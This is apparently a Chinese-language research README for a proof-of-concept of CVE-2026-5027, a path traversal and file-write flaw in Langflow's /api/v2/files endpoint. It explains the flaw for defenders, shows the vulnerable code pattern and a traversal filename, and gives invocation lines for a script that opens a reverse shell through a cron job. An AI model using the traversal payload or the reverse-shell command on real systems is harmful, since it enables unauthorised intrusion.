
Langflow,通过路径遍历实现定时任务注入的远程代码执行(RCE)
本文是由EQSTLab发布的研究文章。
感谢Yahia Hamza报告并分析了此漏洞。
★ CVE-2026-5027 Langflow 路径遍历/任意文件写入 PoC ★

CVE-2026-5027: Langflow 任意文件写入漏洞
描述:Langflow <= 1.8.4 中存在一个路径遍历漏洞,攻击者可以通过向 /api/v2/files 端点提供精心构造的多部分 filename,在预期上传目录之外写入任意文件。在启用了自动登录或以其他方式弱化身份验证的部署中,此问题可能被利用,通过将攻击者控制的内容写入敏感文件系统位置来实现远程代码执行。
使用 Docker 构建并运行易受攻击的环境:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
漏洞端点
POST /api/v2/files
问题在于上传功能信任客户端提供的多部分 filename 值。易受攻击的代码路径没有生成安全的服务器端存储名称,也没有将解析后的路径限制在专用上传目录中,而是允许类似 ../ 的遍历序列影响最终的目标路径。
因此,攻击者可以绕过预期的存储根目录,强制应用程序将文件写入服务器文件系统上的任意位置。
代表性利用流程如下:
/api/v2/files 提交多部分上传请求。filename。这本质上是一个 CWE-22: 路径名到受限目录的不当限制 问题。
该安全漏洞是由于上传处理过程中对用户控制的文件路径缺乏足够的清理和验证造成的。应用程序接受客户端的原始文件名并将其传递到存储工作流中,而没有充分执行路径规范化和限制。
从防御角度来看,危险的模式在概念上类似于以下代码:
# This pseudo-code shows the problematic pattern
save_path = base_dir / file.filename
如果 file.filename 包含路径遍历组件,例如:
../../../../tmp/poc.txt
最终的解析路径可能指向 base_dir 之外,从而实现任意文件写入。
任意文件写入漏洞通常比标准的无限制上传问题更严重,因为攻击者不仅控制文件内容,还控制目标路径。根据 Langflow 进程的运行时权限,这可能实现:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
此存储库并非旨在促进对 Langflow 实例的未授权利用。本项目的目的是帮助安全研究人员、防御者和开发者理解该漏洞,在受控环境中验证暴露情况,并应用有效的缓解措施。
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027